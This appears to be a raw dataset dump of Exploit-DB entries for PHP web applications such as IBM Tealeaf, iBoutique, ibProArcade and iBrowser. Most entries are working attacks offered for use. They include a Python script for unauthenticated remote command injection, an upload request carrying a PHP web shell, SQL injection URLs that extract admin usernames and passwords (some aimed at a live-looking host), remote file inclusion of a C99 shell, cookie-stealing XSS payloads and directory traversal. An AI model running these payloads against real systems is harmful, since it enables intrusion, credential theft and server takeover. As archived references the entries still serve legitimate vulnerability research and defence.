deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36091
Description: IBM Open Admin Tool 2.71 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-30
Author: Sumit Kumar Soni

Exploit:
source: https://www.securityfocus.com/bid/49364/info

IBM Open Admin Tool is prone to multiple cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

IBM Open Admin Tool 2.71 and prior are vulnerable. 

http://www.example.com:8080/openadmin/index.php?act=login&do=dologin&login_admin=Login&groups=1&grouppass=&informixserver= &host= &port= &username= &userpass= &idsprotocol=onsoctcp&conn_num
Exploit-DB #30290
Description: IBM Proventia Sensor Appliance - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-07-11
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/24864/info

The IBM Proventia Sensor Appliance is prone to multiple input-validation vulnerabilities, including multiple remote file-include issues and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and to execute arbitrary server-side script code on an affected device in the context of the webserver process. Other attacks are also possible.

IBM Proventia Sensor Appliance CX5108 and GX5008 are vulnerable. 

https://www.example.com/alert.php?reminder=-->//"><script>alert(/XSS_vulnerability_proventia_s0x by Alex Hernandez/);</script>

To exploit a remote file-include issue:

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/index.php?title=http://www.example2.com/C99.php?archive.php

https://www.example.com/main.php?page=https://www.example2.com
Exploit-DB #37643
Description: IBM Rational ClearQuest 8.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-27
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/55125/info

IBM Rational ClearQuest is prone to the following security vulnerabilities:

1. An HTML-injection vulnerability.

2. Multiple information-disclosure vulnerabilities.

3. A security-bypass vulnerability.

Attackers may leverage these issues to obtain potentially sensitive session information, bypass certain security restrictions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.

The following versions are affected:

IBM Rational ClearQuest 7.1.x through versions 7.1.2.7
IBM Rational ClearQuest 8.x through versions 8.0.0.3 

https://www.example.com/snoop
https://www.example.com/hello
https://www.example.com/ivt/
https://www.example.com/hitcount
https://www.example.com/HitCount.jsp
https://www.example.com/HelloHTMLError.jsp
https://www.example.com/HelloHTML.jsp
https://www.example.com/HelloVXMLError.jsp
https://www.example.com/HelloVXML.jsp
https://www.example.com/HelloWMLError.jsp
https://www.example.com/HelloWML.jsp
https://www.example.com/cqweb/j_security_check
Exploit-DB #32546
Description: IBM Tealeaf CX 8.8 - Remote OS Command Injection
Type: webapps
Platform: php
Date: 2014-03-26
Author: drone

Exploit:
# IBM Tealeaf CX (v8 release 8) Remote OS Command Injection
# Date: 11/08/2013
# Exploit author: drone
# More information: http://www-01.ibm.com/support/docview.wss?uid=swg21667630 
# Vendor homepage: http://www-01.ibm.com/software/info/tealeaf/
# Version: Version 8 Release 8 (likely all versions prior)
# Tested on: Redhat Linux 6.2
# CVE: CVE-2013-6719 / CVE-2013-6720

import requests
from argparse import ArgumentParser

""" Remote OS command injection (no auth)
    IBM TeaLeaf Version 8 Release 8
    drone (@dronesec)

    Bonus:
    LFI at /download.php?log=../../etc/passwd
"""


def run(options):
    access = "http://{0}:{1}/delivery.php".format(options.address, options.port)
    data = {"perform_action" : "testconn",
            "delete_id" : "",
            "testconn_host" : "8.8.8.8 -c 1 ; {0} ; ping 8.8.8.8 -c 1".format(options.cmd),
            "testconn_port" : 1966,
            "testconn_t"    : "false",
            "csrf" : "afe2fce60e94a235511a7397ec5c9a87fb7fc25b", # it doesnt even care
            "delivery_mode" : 0,
            "batch_interval" : 60,
            "polling_interval" : 10,
            "watchdog_timer" : 30,
            "max_queue_depth" : 50000000,
            "timesource_host" : "test",
            "timesource_port" : 1966,
            "staticshit_enabled" : "on", # seriously
            "staticshit_host" : "test",
            "staticshit_intervalseconds" : 60,
            "staticshit_port" : 1966
           }

    response = requests.post(access, data=data, timeout=20.0)
    if response.status_code == 200:
        # lazy parsing
        result = response.content.split("alert('")[1].split('onUnload')[0]
        for x in result.split("\\n"):
            if 'PATTERN' in x: break
            print x
            
    
def parse_args():
    parser = ArgumentParser()
    parser.add_argument("-i", help="Server address", action="store",
                        required=True, dest="address")
    parser.add_argument("-p", help='Server port', action='store',
                        dest='port', default=8080)
    parser.add_argument("-c", help='Command to exec', action='store',
                        dest='cmd', default='whoami')
    return parser.parse_args()

if __name__ == "__main__":
    run(parse_args())
Exploit-DB #51119
Description: iBooking v1.0.8 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2023-03-28
Author: d1z1n370/oPty

Exploit:
# Exploit Title: iBooking v1.0.8 - Arbitrary File Upload
# Exploit Author: d1z1n370/oPty
# Date: 01/11/2022
# Vendor Homepage: https://codecanyon.net/item/ibooking-laravel-booking-system/30362088
# Tested on: Linux
# Version: 1.0.8

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.


# PoC request 

POST https://localhost/dashboard/upload-new-media HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/dashboard/settings
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 449
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="_token"

kVTpp66poSLeJVYgb1sM6F7KIzQV2hbVfQLaUEEW
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="is_modal"

1
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file"; filename="upload.php56"
Content-Type: image/gif

GIF89a;
<?php system($_GET['a']); phpinfo(); ?>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #13945
Description: iBoutique - 'page' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-20
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:iBoutique SQL Vulnerable & XSS Vulnerability 
Vendor url:http://www.netartmedia.net/iboutique/
Version:4	
Price:299$
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

iBoutique is a PHP ecommerce solution that allows you to setup and maintain your own estore. Features include simple user interface, easy product detail maintenance, shoping carts, template managing, statistic reporting, and much more. Code: PHP 4.0 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/iboutique/index.php?page=[sqli]

*XSS Vulnerability

DEMO URL:

Parameter:'"--><script>alert(0x000872)</script>

http://server/iboutique/index.php?page=[xss]


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #6444
Description: iBoutique 4.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# 
#  ---  FeDeReR -  DON - OutLawz - MAGE -JeTFyrE - Bond        #  
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l and  h4x0r 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com, vaibhavaher@gmail.com
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: iBoutique v4.0 (product&cat) Remote SQL Injection Vulnerability
#
# App Name: iBoutique v4.0 
# 
# App Home: http://www.netartmedia.net/iboutique/
# 
# App Demo: http://www.netartmedia.net/iboutique/demo.html
#
#################################################################
# Dork: Powered by iBoutique v4.0
# 
#  
# POC: 
# For username :
#         
#	http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users--
#
# For password :
#  	
#       http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users--
#	      
#
#
# Live Demo:  
#      http://www.wscreator.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users--
#
#      http://www.wscreator.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users--
#  
# 
#  
#
#
# 
################################################################ 
# Vuln Discovered 12th Sep 2008 

# milw0rm.com [2008-09-12]
Exploit-DB #19985
Description: iBoutique 4.0 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2012-07-20
Author: SecPod Research

Exploit:
##############################################################################
#
# Title    : NetArt Media iBoutique SQL Injection Vulnerability
# Author   : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netartmedia.net/
# Advisory : http://secpod.org/blog/?p=510
#	   : http://secpod.org/advisories/SecPod_NetArt_Media_iBoutique_SQLi_Vuln.txt
# Software : NetArt Media iBoutique Version 4.0
# Date     : 29/06/2012
#
##############################################################################

SecPod ID: 1044                                    02/02/2012 Issue Discovered
                                                   19/06/2012 Vendor Notified
	                                           No Response from vendor
                                                   18/07/2012 Advisory Released

Class: SQL Injection                               Severity: High


Overview:
---------
NetArt Media iBoutique SQL Injection Vulnerability.


Technical Description:
----------------------
An SQL Injection Vulnerability is present in NetArt Media iBoutique as it fails
to sanitise user-supplied input.

Input passed via the 'key' parameter to '/index.php' page is not properly
verified before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code. This may allow an
unauthenticated attacker to launch further attacks.

These vulnerability have been tested on NetArt Media iBoutique v4.0, Other
versions may also be affected.


Impact:
--------
Successful exploitation could allow an attacker to manipulate SQL queries by
injecting arbitrary SQL code.


Affected Software:
------------------
NetArt Media iBoutique v4.0


Tested on,
NetArt Media iBoutique v4.0


References:
-----------
http://secpod.org/blog/?p=510
http://www.netartmedia.net/iboutique
http://secpod.org/advisories/SecPod_NetArt_Media_iBoutique_SQLi_Vuln.txt


Proof of Concept:
-----------------
http://www.example.com/iboutique/index.php?mod=products&key=%27


Solution:
---------
Fix not available


Risk Factor:
-------------
   CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (High) (AV:N/AC:L/Au:N/C:N/I:P/A:N)

Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
Exploit-DB #9692
Description: iBoutique.MALL 1.2 - 'cat' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-09-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: iBoutique.MALL 1.2

<<->> download :: http://www.netartmedia.net/mall/
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit :: 
 
                  >>>>>>> http://www.Cyb3r-1st.com/[path]/index.php?mod=products&cat=230+and+substring(@@version,1,1)=5

                  >>>>>>> http://www.Cyb3r-1st.com/[path]/index.php?mod=products&cat=230+and+substring(@@version,1,1)=4

                  Note : Dont froget to change catid  
          
                  >>>>>>> http://www.Cyb3r-1st.com/[path]/index.php?page_id=-1&news_id=1 >>>> true

                  >>>>>>> http://www.Cyb3r-1st.com/[path]/index.php?page_id=-1&news_id=1 >>>> false

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ]

<<->> special greetz to ( tryag academy members ) , His0k4 have agood priv8 exploit for big famous program   :)  

<<->> and the guy whose unknown called HCJ :> hhhhhhhh just joke bro ... fuck to the lamerz who made u angry ^_* 

# milw0rm.com [2009-09-15]
Exploit-DB #15070
Description: ibPhotohost 1.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-21
Author: fred777

Exploit:
             
#################################################
+
+  Title:       ibPhotohost 1.1.2 SQL Injection
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://mods.invisionize.com/index.php/f/7609
+  Vuln:        index.php?autocom=photohost&CODE=04&img=[SQL Injection]
+  Greetzz to:  back2hack,free-hack,hackbase,c-c
+  Contact:     nebelfrost77@googlemail.com
+
#################################################
  
--[ Vuln Code ] --
  
$id = $this->ipsclass->input['img'];

	$this->ipsclass->DB->simple_construct(array(
	'select' => '*',
	'from' => 'imgupload',
	'where' => 'imgupload_id=' . $id,
	'order' => 'imgupload_date asc'
	));
  
################################################
  
--[ Exploitable ]--
  
http://site/index.php?autocom=photohost&CODE=04&img=[SQL Injection]

http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=1--+ => true
http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=0--+ => false

http://site/index.php?autocom=photohost&CODE=04&img=1+and+substring(version(),1,1)=5

################################################
Exploit-DB #29604
Description: ibProArcade 2.5.9+ - 'Arcade.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-15
Author: sp00k

Exploit:
source: https://www.securityfocus.com/bid/22575/info

ibProArcade is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.5.9+; other versions may also be vulnerable. 

http://www.example.com/forum/arcade.php?act=Arcade%20search_type=0&gsearch=' union select password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from user where userid = USERID /*
Exploit-DB #1296
Description: ibProArcade 2.x - module 'vBulletin/IPB' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-06
Author: B~HFH

Exploit:
# Rankings for (name) will state the md5 hash for the user /str0ke
# ibProArcade 2.x

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

Author: B~HFH
Email:  bhfh01@gmail.com

# milw0rm.com [2005-11-06]
Exploit-DB #17850
Description: iBrowser Plugin 1.4.1 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-09-17
Author: LiquidWorm

Exploit:
iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.4.1 Build 10182009

Summary: iBrowser is an image browser plugin for WYSIWYG editors like
tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions.
It allows image browsing, resizing on upload, directory management and
more with the integration of the phpThumb image library.

Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly
verified before being used to include files. This can be exploited to
include files from local resources with directory traversal attacks and
URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70:    $this -> charset = $lang_charset;
71:    $this -> dir = $lang_direction;
72:    $this -> lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -> default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5041
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php


15.09.2011

--

http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
Exploit-DB #32077
Description: IBS 0.15 - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-17
Author: Cyb3r-1sT

Exploit:
source: https://www.securityfocus.com/bid/30270/info

IBS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

IBS 0.15 is vulnerable; other versions may also be affected. The IBSng branch of the application is not vulnerable. 

http://www.example.com/ibs/admin/index.php?username=<script>alert(document.cookie)</script>&password=a&B1=Submit
Exploit-DB #36277
Description: IBSng B1.34(T96) - 'str' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-01
Author: Isfahan

Exploit:
source: https://www.securityfocus.com/bid/50468/info

IBSng is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/IBSng/util/show_multistr.php?str=[xss]